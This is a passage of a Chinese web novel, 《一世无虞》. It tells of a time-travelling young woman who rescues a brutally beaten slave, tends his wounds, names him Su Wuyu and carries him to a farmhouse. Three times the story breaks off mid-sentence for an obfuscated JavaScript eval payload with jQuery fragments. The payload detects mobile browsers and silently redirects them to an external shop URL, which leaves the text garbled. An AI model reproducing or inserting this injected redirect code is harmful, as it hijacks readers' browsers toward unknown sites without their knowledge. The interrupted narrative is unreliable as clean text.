《一世无虞》 1. 凶案 喜从天降,居然穿越了! 待到宋昭阳稀里糊涂睁开眼时,周围哪还有什么华灯璀璨的摩天大楼,而记忆中那辆最后撞向她的集卡也随着人声鼎沸的城市一块儿消失在了视线里。 意识到事态有些诡异的她晕晕乎乎地从泥地上爬起来,在确定了自己并没有因为车祸而缺胳膊少腿后,欣喜之情自然是溢于言表,虽然还搞不清状况,但毕竟平白无故捡了条小命,这事还是值得自己偷着乐上百八十天的吧。 只不过,让昭阳有些无奈的是,自己怎么也是个遵纪守法好公民,本分地过着马路就莫名其妙地嗝屁在路上已实属倒霉了,不是说穿越女一般在睁开眼后都会有个贴心丫鬟在床边焦急等待,然后热泪盈眶地替谎称失忆的女主介绍一下当代社会背景的嘛? 怎么这万能定律到了自己这儿就变味了呢,别说什么雕花大床红罗纱帐了,单瞧着这阴风阵阵的山坳荒凉地连野猪都会嫌弃吧,更别说去哪儿找什么小翠小红了。不过好在昭阳自认为还是个乐观开朗的人,本就不是什么娇身惯养的大小姐,林妹妹般黯然神伤了一会儿也就矫情到头了,谁说被扔到了泥坑里就不能春风吹又生了,活着就好。 然而,正当昭阳默默对着月光进行着自我励志教育的同时,几声悉悉索索的异响却飘入了耳中。听起来似乎是从不远处的草丛后传来的,出于好奇,她下意识地猫起身子挪到了草丛边上。 这种荒山里到底是为什么会传出这种声音,绝对不会是风声这么简单,莫非自己穿越到了什么不可思议的地方,昭阳难耐地咽了咽口水,她发誓要是草丛后头窜出来一头霸王龙或是金刚什么的,不管它们最终会不会爱上她,她都绝对会立马出门左拐自挂东南枝。 所幸,这一回昭阳还是幸运的,当她悄然拨开几簇碍眼的杂草后,脑补中的画面统统都没有发生。 月光下,只见两个身材健硕的中年男人正抬着一个衣衫褴褛的人立于小溪边上,不过亏得这夜色正浓,他们似乎并没有发现昭阳的存在。一阵左顾右盼后,稍矮个的率先开了口,“大哥,咱们都走了好一段了,我瞧着这山里头阴森森的,不如就把这小子扔这儿得了。” 那高个的起初似是犹豫了一会儿,不过最终还是点了点头。几乎是同时,只听“噗通”一声巨响,他们竟将那人像扔垃圾般随意扔到了小溪中。 而那落入溪水中的人居然也全然不挣扎,只闷哼了一声便没了动静。见此状,矮个子的似乎还不死心,冲着水中人就猛吐了一大口唾沫星子,草丛后的昭阳只觉一阵恶寒,瞧这肥头大耳的,听声音就像是得了慢性咽炎久治不愈咳不出来又咽不下去的那种,这马力全开的一口该有多脏啊。 不过,本以为那矮个的已经够过分了,但看下去才知道,那高个子竟然更加丧心病狂,还未等昭阳回过神,他便抬脚开始朝着水中人一顿猛踢,“这臭小子怎么还不见咽气,害得爷爷平白费了那么多力气,这回还不送你上西天。” 天哪,昭阳可算是明白了,这是活脱脱的古代版凶案现场啊! 收了收方才已经快要张成脱臼状的下巴,昭阳脑海中的第一个反应就是必须想办法赶快救救水中那个可怜人,自己刚刚死过一次,生命有多珍贵她此刻比谁都清楚。可一时间手忙脚乱,她只感觉现在自己的大脑已经快要高速运转到爆棚的程度了,慌乱中随手抓起了那斜挎在自己身上的小背包,忽然想起了方才那矮个子的话,猛然间计上心来。 昭阳赶忙掏出了包里补妆用的半支口红,夜黑风高地也看不真切,她抄起口红随手就往自己的双眼以及嘴角下胡乱画了几道红痕,接着又赶紧将自己过肩的长发打乱后捋了几簇置于额前。 整装完毕,昭阳深吸了一口气,只能赌上这一把了,幸好看这一高一矮长的就不像是智商有多高的主儿。她缓缓地从草丛后直起身子,那两人兴许是太过投入,起初并没有注意到她的方向。 拜托,不带这么忽略女鬼的。出于无奈,昭阳只能拼命回想起自己曾看过的那些恐怖片内容,随后咿咿呀呀地压低了声音开始学起了各种鬼叫。所幸功夫不负有心人,没一会儿她便成功吸引了那两人的注意力,他们渐渐停下了脚上的动作。那矮个子的最先发现了昭阳,与之对视的一刹那,整个身子都很明显的激灵了一下,昭阳心中暗笑,头一次那么庆幸自己穿了一身白色长裙。 再看那高个子的,虽然比那矮个子胆大了不少,但此刻的脸色亦是难看到了极致。“大……大……大哥,那……那是什么东西。”矮个子的开始结巴起来,但目光却始终停在昭阳的方向没有移开。 他们的反应正中昭阳的下怀,她静默地立在黑暗中,透过眼前凌乱的长发偷瞟着高矮两人的一举一动。此时,恰恰一阵微凉的山风吹来,在心中大呼一声天助我也后,借着山风的吹拂,她缓缓抬起了头,盘算着该以何种角度才能让他们将自己的脸看个清楚。 昭阳努力瞪大了眼睛摆出各种狰狞不堪的表情,虽然看不见自己现在的样子,不过从那两人煞白的脸上她还是看到了自己在演艺道路上无限的潜能。 终于,那高个子的也开始哆嗦起来,“鬼,鬼啊,还……还不快跑。” 说罢,只见他拔腿就开始往来的方向跑去,那矮个子的显然反应慢了半拍,半响才开始踉踉跄跄地跟着一块儿开溜,看他那副失魂落魄的模样,生怕昭阳会追上去将他生吞了似的。 不过,见他们落荒而逃后,昭阳虽松了一口气,却也没有立刻动弹,而是在原地继续站了一会儿,心中暗叹这古代人果然是没见过什么世面,不过,亦或者是那俩人亏心事做多了?不管了,在确认他们俩已经跑得没有了踪迹后,她这才长长舒了口气,随手将头发理了理,赶忙朝着水中那人的方向奔去。 临到水边,昭阳来不及脱鞋便提了裙摆淌入溪水之中,夜间的水温很低,刚踏进去的时候她就不禁浑身打了个颤,但此刻也顾及不了这么多了。在水中约莫淌了五六步后,她这才近了那人身,只见他仰面躺在一块大石上,下半身已经全部浸没在了溪水之中。 “你别怕,我不是鬼,我这就把你拖出去。”昭阳不知道他是否还清醒着,但为了避免他被自己吓到,她还是先用溪水擦了擦脸上的印迹才蹲下身子去看他。 尽管柔和的月光让这山间的万物都变得朦胧,但当昭阳试图伸手去扶那水中之人之时,还是不免被他浑身上下触摸惊心的伤痕震撼到。 他的脸,如果那还能称作脸的话,整个都浮肿得厉害,尤其是那一双眼睛,几乎已经睁不开了,右侧额角上的一个伤口有硬币那么大,还在缓缓地向外渗着一片殷红,看起来像个血窟窿,而他的嘴唇因极度的干燥裂开了好几道口子,但整个嘴唇却还是红肿得有些诡异,看起来像是之前被灌过辣椒水之类的。 不过,和他身上的伤痕相比,这些似乎都不算什么。 他身上的衣服早已碎成了条状,几乎是衣不蔽体。透过那些碎布,一道道纵横交错的鞭痕宛如一张细密的巨网裹住他的全身,褐色的陈年旧疤上还斑驳地覆盖着十来条新伤。而最为狰狞的,要属他胸前那一条五六来寸的长口子,似是被利器所伤,皮肉都向外翻起,此刻鲜血正汩汩地朝外淌着,染红了周遭的潺潺溪水。 即便是素未谋面,可见了这人的样子,昭阳心中仍是免不住一阵五味杂陈,只得小心翼翼地架起他的胳膊,生怕触疼了他哪处的伤口。 哪知,当昭阳刚要拽起他往岸边走去时,身边人却突然开了口,“多……多谢姑娘。”话还没说完,他先是虚弱地轻咳了起来,半响才又继续道,“可……可我怕是不成了,你且别管我了……”他的声音喑哑而低沉,轻到几乎就快要听不见,可即便如此,昭阳却仿佛能够切实体会到,这样简短的一句话已然耗尽了他全部的力气。 “你在说什么?既然我救了你,那你的命就是我的了,我不许你死,你就不能死,知不知道?”昭阳架着他缓步前行,顿了顿,又赶忙补充道,“不知道也得知道,你身子太弱了,现在不许你说话了,所以别惦记着怎么反驳我。”说完后,她第一次觉得自己竟然还有当霸道女总裁的天分。 然而出乎意料,那人听罢她的话,竟真的就此不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548135|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再言语,只耷拉着脑袋,乖巧地点了点头,昭阳见状微感诧异,不过倒也颇为满意,便想着赶快说些鼓励他的话,“悄悄告诉你,不管你信不信,我其实不是你们这儿的人,我生活的世界在几百年,也有可能是几千年之后,所以我可厉害着呢,你不会那么容易死的。”虽然这番话不免有些扯淡的嫌疑,但她实在不知道该和他说些什么,只能先胡乱吹嘘一通。 哪知他听罢昭阳的话后,竟又轻轻点了点头。 他居然就这么信了?说实话,这种胡扯的话连她自己都不信。难不成那些人还打了他的脑袋,所以这才有些秀逗了?还是古代人都已经单纯可爱到了这种地步? 昭阳一时有些语塞,思前想后竟也憋不出别的废话,只得默默地将他拖到了岸边躺下。轻手轻脚地将他的身子放平后,她几乎是不假思索地摸出了一只打火机,这还是前几天和室友一起去吃烧烤的时候她顺手牵羊硬塞给自己的,美其名曰花了钱的都不能浪费。紧接着,昭阳又顺手从包里的十字绣上拔出了针和线,至于为什么会出门还带着这种东西,人嘛,有时候心血来潮了挡也挡不住。 “你胸前的伤口太深了,如果感染就完了,所以我现在要用针把它缝起来,你,你可以吗?”她有些忐忑地望向那人,毕竟是血肉之躯,她还真怕他受不了。而此时那人双目紧闭,只在半响后复又点了点头。 昭阳深呼一口气,于是点燃了打火机在针头处反复烧了烧,对于她这样一个顶多只会缝缝补补几件破衣服的人来说,也不知道此刻自己是哪来的勇气去用针缝一个大活人,但有一点她却很清楚,如果就这么放着不管,他可能真的会活不下去。 思及此,昭阳也顾不了那么多了,努力克制着手上的颤抖,缓缓朝着他的胸口移去,心中不禁暗叹此刻自己要是能够得容嬷嬷一半的真传估计就万事大吉了! 她一边进行着手上的活儿,一边不时抬头看看他的状况。当针头扎进他伤口的刹那,只听那人轻哼了一声,他的双手紧攥着所剩无几的上衣,整个人都开始颤起来,可即便如此,却也不听他失声痛叫。昭阳突然明白到为什么先前那两人如此虐待他,却也没听他求饶过半次,该说他是坚强好呢,还是倔强。 也不知怎的,昭阳瞥了一眼他那因隐忍而紧蹙的双眉,竟莫名地升腾起一股心疼的情绪,声音也在不知不觉中放柔了许多,“我呢,名字叫宋昭阳,我爸,喔就是我爹给我起这个名字,就是取了朝阳的同音,希望我可以像朝阳一样给身边的人带来希望和温暖,年龄嘛,不对,用你们的话应该说是,年方十九,是这样的吧?” 她抬头看了那人一眼,虽然他的双眸紧闭,可昭阳却能感觉到他正认真地听着自己的话,于是又继续道,“你是不是觉得我救了你,让你觉得很过意不去?如果是这样的话,那你就趁早断了那些什么不成了别管我之类的念想,你现在知道了我的名字,就看你是想等身子好了慢慢报答我呢,还是想让我白忙活一场,嗯?” 接下来,昭阳便竭尽所能地冲着他进行了一番励志人生路的心理辅导,言语间一时便也没了方才的紧张。在收起最后一针之时,她只觉整个人像被一下子抽走了魂,忍不住一屁股坐到了旁边的地上,再看自己的双手,此时早已噙满了交织着血水与汗水的粘稠。 所幸,清浅的山涧月色极尽着柔和扬扬洒洒而下,透过它,昭阳望见那人的胸膛正虚弱无力地起伏着,心中不禁长吁了一口气,随即便半跪着身子用膝盖挪到了他的身边,略迟疑了片刻,便伸手去拽他的衣裤。 那人显然被她这突如其来的动作吓了一跳,整个人抖了抖,下意识地抗拒起来,“姑娘,你,你这是……”他无力道,这还是他自上岸以后头一次开口。 “帮你脱衣服啊。”昭阳也不含糊,才不管他的反对继续着手上的动作。 “……”那边没了声音,只一个劲地咳嗽起来。 “不脱衣服怎么帮你擦洗啊?”她又淡然道,手上依旧忙活不停。 “擦,擦洗?”那边好像完全僵住了,咳嗽的声音越来越大。 …… 2. 无虞 气氛陷入了僵局,昭阳的手中还攥着那人的衣角,而他,似乎也同样没有要松手的意思。果然思想上的差距真是无法逾越的,但念在他是个被封建主义孕育出的古代人,且又身负着酷刑重伤,昭阳思前想后,决定暂且先忍他这一回。 “你看你的衣服都快脏得发臭了,方才又沾了水,这样贴在身子上对伤口不好。”她尽量柔声道,言罢不忘瞥了他一眼,不过他似乎还是没有放弃的念头,但渐渐手上的力道倒是松了松。 昭阳见状大喜,又继续推波助澜起来,“你说你羞什么呀,现在是非常时刻,我不会对其它人说的。再者,你是男人,我是女人,我还会强迫你以身相许不成?所以啊,你就放心好了,这不影响你往后娶妻纳妾什么的,当然如果你已经有了的话,那就更不用担心了,我不会缠着你的。” 好像有点扯远了,不过,昭阳发现自己这副循循善诱别人脱衣服的模样还真是有几分猥琐大叔的意思,这要是放在现代被人发现了,估计都能上个热门话题之类的,题目嘛左不过就是旷世色魔辣手摧草,清纯少年宁死不从云云的。 “我,我没有妻妾。”他又咳嗽了几声,断断续续地说道,不过倒是依旧没有松手。 这世上怎么会有如此食古不化的人,都说得那么明白了,随着时间分分秒秒的流逝,僵持几乎进入白热化,昭阳但觉自己的耐心正在一点一滴被吃干抹净。也不知过了多久,小宇宙终于面临爆发,她只觉忍无可忍,声音都提高了一个八度,“好话我都说尽了你这个人怎么就是冥顽不灵呢?总之你今天脱也得脱,不脱也得脱,你看是乖乖地让我来呢,还是让我将你的衣服给撕了一了百了,我就不信你现在还有什么力气,嗯?”言罢她还不忘恶狠狠地瞪了他一眼,想来地痞流氓在欺凌老弱病残的时候也不过就是这副表情了。 也不知那人是不是被她吓到了,还是意识到自己已是瓮中之鳖无处可逃,这回居然奇迹般地奏效了!不过,当昭阳看着他渐渐松了手垂于两侧,俨然一副任人宰割的模样时,心中又莫名有点懊恼起来,他好歹也是个重症病号,自己这么凶他是不是有些过分了? 可话都说出口了,难不成还要收回不成,面子上挂不住不说,再者现在也不是装白莲花扮纯洁高尚的时候,想到这儿,她不自觉地摇了摇头,默默地先开始起了自己的“护工”大业。 那人整个因为极度的虚弱几乎使不上什么力气,昭阳全凭着自己的力道小心翼翼地将他的上衣褪下,接下来,咳咳,就是裤子。说实话,其实在完成这一步时,她的心里还是有些犹豫的,毕竟也是个男人,不过好在他现在就和猪头没什么两样,完全没有给她提供任何一丝可以想入非非的空间,况且救死扶伤的行径怎么看都是神圣的,病人面前不分男女,平静了一下自己的羞耻心,昭阳这才继续起了手上的活儿。 她先是将自己的裙摆扯下了半截,分成一整块较大的以及几缕布条。在用蘸了溪水的布条将他的前身都擦拭了一遍后,昭阳又扶着他的身子战战兢兢地替他翻了个面,期间他一直都是紧闭着双目不吭一声,也不知是不是在进行着无声的抗议。 为了不触及到他那些脆弱的伤口,昭阳的动作尽量轻柔,费了好一番劲才将他整个人转了过来,但也是这一转,却让她好不容易平复的心情又翻江倒海起来。他的后背上除了那些密布的鞭伤以外还有一块巴掌大的烙痕,虽然已经结痂,但那狰狞的形状却还是让人有些望而生畏,此外,他的下身亦是因饱受折磨而呈现出可怖的淤紫状。 昭阳恍惚间好像明白了几分那人的心思,也许他是碍于这些才不想让她碰他的吧,毕竟人们都不会愿意轻易将自己最脆弱与不堪的一面呈于人前的。 于是,她赶忙加快了手上的速度,在替他擦洗完了全身后赶忙先用那大块的裙摆覆于他的下身,并在他那瘦骨嶙峋的腰际打了个结。接下来,才开始慢慢地用布条将他那些还在淌血的伤口一一包扎,最后,还不忘贴心地将自己身上的针织外套脱下替他盖在了身上。 在整个过程中,那人还是三缄其口,也不知是不是睡着了。不过既然瞧他并没有理自己的打算,全部大功告成后,出于尴尬,昭阳只得先默默地起身去附近的树丛里捡些枯枝废叶之类的东西,好方便在他们周围生个火堆什么的。这儿的气候虽不算寒冷,但夜间的山坳总是有些凉的,况且他又这么衣衫单薄,而自己现在也好不到哪里去,清新文艺的长裙瞬间变成了狗啃状的短裙,要是没点火堆暖暖,第二天估计就得和他一块儿入定归天了。 忙活了好一阵后,昭阳才得空歇了下来,此时的那人正盖着她的针织衫一动不动地侧着身子蜷缩在地上,想来是为后背的伤势所迫。瞧着他的脑袋就这么无力地耷拉在泥地上,昭阳一时有些不忍,心想好人做到底吧,便挨着他坐了下来,并轻轻将他的头抬起,好让他可以枕着她的大腿睡得安稳些。 昭阳下意识地俯首凝视着这个奄奄一息的可怜人,即便是睡着的时候,他的剑眉也依旧紧蹙,倒映着跃动的火苗,她竟发现他的睫毛纤长而浓密,只不过他的眼实在是肿得太厉害,而且又是一副蓬头垢面的样子,让人根本看不清原来的长相,也不知他究竟受了多少苦才能将好端端的一个人折磨成这样。 思及此,昭阳不禁轻声叹了口气,而后,竟鬼使神差般的从包中掏出了一柄梳子,极小心地替他梳起了鸟窝般的长发,想来,此刻的她就算没有被圣母光环所笼罩着,至少周身也应该散发出几缕熠熠生辉的佛光才是,不然自己怎么会做出这样充满母性光辉的举动? 然而,正当昭阳屏气凝神地替他梳通着一缕打了结的头发时,腿上的人又开始不住地咳嗽起来了,她见状赶忙轻抚起他的后背以帮他顺气,“怎么了?是不是我弄痛你了?”昭阳有些不安地问道。 那人此时正咳得厉害,一时间无暇回答她的话,只微微地摇了摇头,待到半响后,才孱弱地开了口,“这,这是旧疾,不关姑娘的事。” “都告诉你我的名字了,怎么还叫姑娘呢?你可以叫我昭阳啊。”她继续帮他顺气。 “这……”他显然有些犹豫,沉默了好一会儿,待到咳得不是那么厉害了,才又小声地喃喃道,“这怎么好,你,你方才说你是自千年后来的,所以,你是仙女吗?” 仙女?昭阳微愣了三秒,而后几乎就要大笑出声,活了十九年可从来没有人会用仙女这两个字来形容过她这样性格粗糙的人呢。“哈哈哈,”她先是忍不住憨笑了几声,“说什么呢你,我当然不是什么仙女了,再者,仙人不都是该起些听起来就很厉害的名字的吗,比如什么昭阳大仙,昭阳星君或者昭阳娘娘这样的吗?你见过和凡人一样名字的吗?哈哈。” “是这样吗?”他显然有些不置可否地低声轻喃,沉默了片刻才又出声,“那,吕洞宾呢?”那语气天真得简直就像是个被数学题难住的纯良小学生。 昭阳的笑容顿时在空气中凝住,隐约感觉原先咧开的嘴角此刻开始微微抽搐起来,敢情是自己对他太好了还是怎样,这会子稍回了点魂就开始公然拆她的台不成? 好在很快那人似乎也识趣地察觉出了昭阳的异样,“是我说错了什么吗?”声音低得几乎就要听不见。 天哪,能不能不要摆出这么一副人畜无害的样子,昭阳在心中大呼自己是不是吃错了药,本想回嘴也奚落他一番的,可话到了嘴边,却成了,“当然不是啦,怎么可能,你别多想啊,我好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548136|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着呢。”说实话,她此时真想抽自己一嘴巴,心中不断为自己正声,一定是因为他太可怜了所以自己才会瞬间变身软脚虾的,“不过你一定要固执己见的话,我也是不介意你叫我神仙姐姐什么的。” “神仙姐姐?”那人又是一阵犹豫,“可我似乎长了姑娘你两岁。” 咳咳,昭阳头一次觉得自己的战斗力居然如此薄弱,本还想在称呼上占占便宜的,架不住人家就是这么老实,他们的思维果然不是在同一个次元的,现在究竟还能不能一起快乐地玩耍了,“对了,我告诉了你我的名字,你还没说你叫什么呢。”她赶忙换了个话题。 “我……”不知怎么的,那人的声音又低了下去,支支吾吾了半天才又轻喃道,“我没有名字。” 开什么玩笑,就算是屠宰场里的老母猪都还有编号呢,你一个大活人会没有名字?昭阳当下便认定了是他不想告诉自己他的名字,心中不免有些失望。 “我没有想瞒你的意思,只是,只是下奴都是没有名字的,”那人似乎猜到了昭阳的心思,许是又见她沉默了好久,他的言辞中颇有几分如临深渊的味道,“不过,我娘亲还未过世前都是唤我阿苏的。”他顿了顿又继续补充了一句。 “什么?!下奴?”昭阳一下子就发挥起了自己丰富的联想力,也顾不得方才的烦闷,“刚刚那些人是不是就是因为这个才那样待你的?还有你身上的伤,不会也都是……”虽然直觉告诉自己他应该并不是个坏人,但昭阳猜想他总该是因为得罪了什么人才惨遭暴虐的,本想等以后再问问他的,没想到他倒是先开了口,若真是因为奴隶制度这样的原因,那这世界也真是够荒唐了。 几乎是意料之内的,他轻轻点了点头。 昭阳只觉得自己瞬间有些胸闷,很想说点什么,但想到他平静和缓的语气,那些话却又噎在了喉里怎么也说不出口,她找不到应该被谴责的对象,这不是具体的某个人的错,而是整个封建制度的腐朽,可这些都是之于自己这样一个受过现代教育的人而言,对于他们这些本就置身其中的人,想来这只不过是世代传承的生存规律罢了。 无奈之下,昭阳只得又深深叹了口气,虽然才没多久的光景,可似乎来到了这里后她就变得多愁善感起来,不过那人应该比自己更难受吧,看来这会子又聊不下去了,还是赶快再换个话题吧,“既然这样的话,那我给你起个名字好不好?” “嗯?”他有些难以置信地轻哼了一声,但很快又点了点头。 昭阳望着他肿胀不堪的脸上俨然摆出了一副受宠若惊的模样,一扫方才的阴霾,不禁觉得有些好笑,但想到方才他拆了自己的台,于是她决定先逗逗他,“唔,听人家说起个土名好养活,你觉得二狗怎么样?狗剩呢?或者福蛋也可以。其实你身子不好,或者我该给你起个寓意深远的名字,比如长寿?富贵也不错的样子……” 终于,在昭阳滔滔不绝了好一会儿后,才被那人的一阵咳嗽所打断,不过,这回她倒是没有帮他顺气,想也知道他是受不了自己那些接地气的名字了。 “咳,好啦,我刚刚是开玩笑的,”昭阳学着他咳嗽了一声,嘴上努力憋住了笑意,“不过名字往往都是寄托了对人最美好的希冀,你吃了这么多苦,往后的日子一定会越来越好的,不如就叫……”她感觉那人似乎随着自己的停顿猛吸了一口气。 “就叫无虞好不好?取一世无虞之意,希望你后面的人生都可以平安康乐,唔,你方才说你娘亲叫你阿苏,那就叫苏无虞吧,你觉得怎么样?” “无虞……”他有些愣愣地反复呢喃着,整个人都好像有点儿恍惚,也不知过了多久,才终于在昭阳期盼的眼神中点了点头。 …… 3. 人家 俗话说,救人一命胜造七级浮屠,如果这话是真的话,昭阳估摸着这几天来她造的浮屠应该都够凑成一个小区了。 明媚的阳光透过淡薄的云层柔和地播撒在这静谧的山间小道上,分明是个日暖生烟的好天气,可落在了昭阳眼里此刻简直就成了一大酷刑。脸上的汗水根本停不下来,她咬牙数着脚上的步子,见鬼,怎么才走了三十来步整个人又飘飘然起来。 “累了吗?歇会儿吧。”耳后传来了一个虚弱的声音,唉,她怎么给忘了自己背上现在可还背着个人呢。 累到快要虚脱的身体实在容不得昭阳再逞强了,她轻应了一声,随意地找了个阴凉的地方小心翼翼地将身后人放在地上,这些天来苏无虞的身子虽比之最初的时候已经算得上是好多了,说的话也渐渐多了起来,但和正常人比起来总还是差远了,伤口虽开始结痂,可人却还是奄奄地没什么力气,更别提走路了,还有那咳嗽的毛病,也总不见好。 将他安置好后,昭阳整个人就像一滩烂泥般自如地在他附近的地方瘫了下来,随即更是以迅雷不及掩耳之势从包里掏出了一个野果如狼似虎地啃了起来,这还是在三天前路过几棵野果树时摘的,亏得她机智多留了好些颗,这几天还不至于饿死。 一旁的苏无虞显然被昭阳这一副饿死鬼投胎的样子吓到了,“你慢些吃,别噎着了。”他轻声说道,声音依旧是沙哑而低沉,“你要也来一个吗?”昭阳没看他,只腾出一只手又从包里摸出了一颗野果递给他。 苏无虞瞥了一眼那颗算得上是最大的果子却并没有接下,嘴上还是一如既往地说道,“我不饿,你多吃些。”起初昭阳还在想他是不是有意留给自己吃,可后来经过这些天的相处她才发现,他的食量的确是小得惊人,基本上自己吃五颗果子的光景他约莫才能慢慢地咽下一颗。 对此昭阳也已经见怪不怪了,自顾自地享受完她的“美食”后,这才像是回了点魂。 “昭阳,”苏无虞轻喃了一声,为了这声“昭阳”她可没少做他的思想工作,“你,还是放下我吧,否则,我怕……” “不可能。”没等他说完,昭阳就边抹着嘴边决绝地打断了他,“我告诉过你多少遍了,我不会丢下你的,别再说什么你是下奴你是病痨你是不祥之人这种话了,你不嫌腻我还腻了呢,我家那儿早就不流行这种什么奴隶制度了,再者,你是我在这儿唯一认识的人,我就这么丢下你岂不是太没有人道精神了。” 他闻言,只深深地叹了口气,“你这又是何苦呢,几日来承蒙你百般照顾,我,我已是无以为报,又岂能再拖累你至此。” 唉,这几天来昭阳拼命地给他讲了许多现代社会观念,灌输各种人人平等的概念,从马克思主义到改革开放到小康社会,她几乎要把整本政治书都背下来了,不过,要不是这样她还真没发现原来自己还是如此根正苗红好青年一枚。而苏无虞呢,每次听的时候都极为认真,期间有时还不忘点点头或者发个言提问什么的,以致于昭阳一直以为他都听进去了,现在看来,果然都还是白费了。 “无虞啊,我有没有说过,有些权力是人生下来就该被赋予的,你真的没有必要因为你拿了你应得的东西而不安啊,你和每个人都是一样的。”昭阳继续语重心长地开始进行居委大妈式的说教兼心理辅导。 “你这话说的不在理,按你的想法,你如此这般照料我,岂非成我应得的了?”他又和她辩上了,看来某些人真是钻到牛角尖里了。 “自然是了,虽说我是照料了你没错,可你也同样给予了我陪伴呀,你需要我,我也需要你,咱们这你来我往也就两清了嘛,你不欠我什么的。”说着,为了增加这番说辞的可信度,昭阳又开始细数起了这几天来的各种事。 其实这倒也不全是她为了安慰苏无虞而刻意说的,这些天来昭阳也思量了好久,怎么想自己好像也没有善良到那种程度,这回怎么一下子就成了白莲花了?他是个一无所有的人,实在是没有什么值得自己图的,见色起意就更没可能了。 思前想后,昭阳认为最大一部分原因也许是因为有苏无虞的存在而切实地让自己感受到没那么孤单了吧。初来到这个陌生的世界,他就像是汹涌洪流中的一棵救命稻草,让她没有太多的时间去细想自己所失去的一切,因为照料他而让日子渐渐充实起来,也就没那么多机会去感怀过往了。 苏无虞听罢,这回倒也没有再继续同昭阳争下去,沉默了良久,他才有些丧气地低语道,“可我终究还是没能做什么。” 昭阳见他又要自怜自哀起来,所幸往他身边挪了挪,冲他笑道,“无虞,你先前说这儿是什么朝来着?那个什么佑什么的我忘了,你再给我说一遍吧。”这种时候还是扯点别的比较好。 他许是看出了昭阳的用意,先是颇为无奈地轻叹了一声,才又缓缓开口,“大裕王朝,佑和三年。” “噢,这样啊,那你说咱们现在走的路到底对不对呀?。” “沿着溪水走就是了。” “嗯,我觉得也是,对了,你们这儿有鱼香肉丝吃吗?我现在好想吃啊。” “嗯?此乃何物?” “唉,我就知道没有,这是我那边很常见的一道菜啦,其实做起来还是很容易的,往后你要是想吃我可以做给你吃哦,先把猪肉切成丝……” 天边的骄阳在两人这没营养的你一言我一语中,不知何时已褪去了它的炙热,眼见着也歇了好久,终于,在昭阳又一次的坚定决心下,他们再次启程了。 兴许是因为体力恢复了大半,这回昭阳倒是没先前那么吃力了,说实话,作为一个男人而言苏无虞已经算是瘦得神乎其神了,有好些时候昭阳甚至怀疑自己背的其实是一堆骨头,指不定他哪一刻就忽然从她背上跳下来大喊一句,“泼猴哪里逃。” 就这样,在昭阳将西游记西厢记三毛流浪记的剧情全过了一遍后,也不知走了有多久,直到临近日暮西山之时,背上的苏无虞却突然开了口唤住了昭阳,“怎么了?想喝水还是吃点东西?”她胡乱问了一句,依旧低着头继续艰难前行。 “不是,昭阳你看,”奇怪,他的声音怎么有些怪怪的,“前面,前面有一户人家。” “哦,前面有一户人家啊,然后呢。”昭阳依旧朝前走着,半响才回过神,“什么?!前面有一户人家!”她惊呼道,脚上的步子也停了下来。 猛然抬头朝前望去,只见百米开外的地方果真有一间痕迹斑斑的草屋,在屋子的外边鳞次栉比地排列了一圈竹篱笆,而更重要的是,草屋顶上泥筑的烟囱中此刻正冒着袅袅的炊烟,落在她的眼中,当下只觉得简直就像是九重天上瑶池边丝缕的水雾般如仙如梦,让人不禁神往。 太好了,终于不用饿死在这荒山里了!天知道昭阳现在有多激动,身子出于本能地就要加快脚步往前冲,可理智却又在下一秒让她有些举步维艰起来。 没人知道这屋子里住着什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548137|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样的人,万一他们被赶了出来,这前不着村后不着店的想来也很难再找到第二户人家了,她必须想个万全之策以确保自己和苏无虞都能够被收留。 “昭阳,你怎么了?”意识到昭阳整个人都僵在了原地,苏无虞颇为关切地问道,他的声音依旧虚弱而无力,本也没什么寻常,可眼下听在昭阳的耳朵里,却突然计上心来。 在脑海中快速运作了一遍整个计划,昭阳这才有些狡黠地笑了笑,而后开口冲着背上的苏无虞说道,“我说无虞啊,你也不想咱们被人家赶出来对吧?” 他听罢显然呆愣了几秒,虽摸不透这姑娘又要发表些什么惊天地泣鬼神的言论,但在片刻后他还是轻应了一声。 “那你答应我一件事,呆会咱们到了那户人家,不管我说什么,你都要配合我,知不知道?” “你,想做什么?” “放心啦,绝对不是什么伤天害理的事情,我只是想确保人家一定会收留我们嘛,所以你一定要配合我,不然咱们俩今晚又得露宿荒山野岭了。”昭阳故作严肃地解释了一番,见他不像是要反对的样子,也不等他回应便有些迫不及待地朝着草屋走去。 草屋外的篱笆显然有些破旧,昭阳只用指尖轻触了一下便就这么开了,里头的人也不知在做什么,但似乎并没有发现他们的到来,待昭阳缓步走到屋前时,小木门依旧是紧闭着的。她先将苏无虞放下,让他背倚着门边的土墙坐下来,而后自己才去敲那扇斑驳的木门。 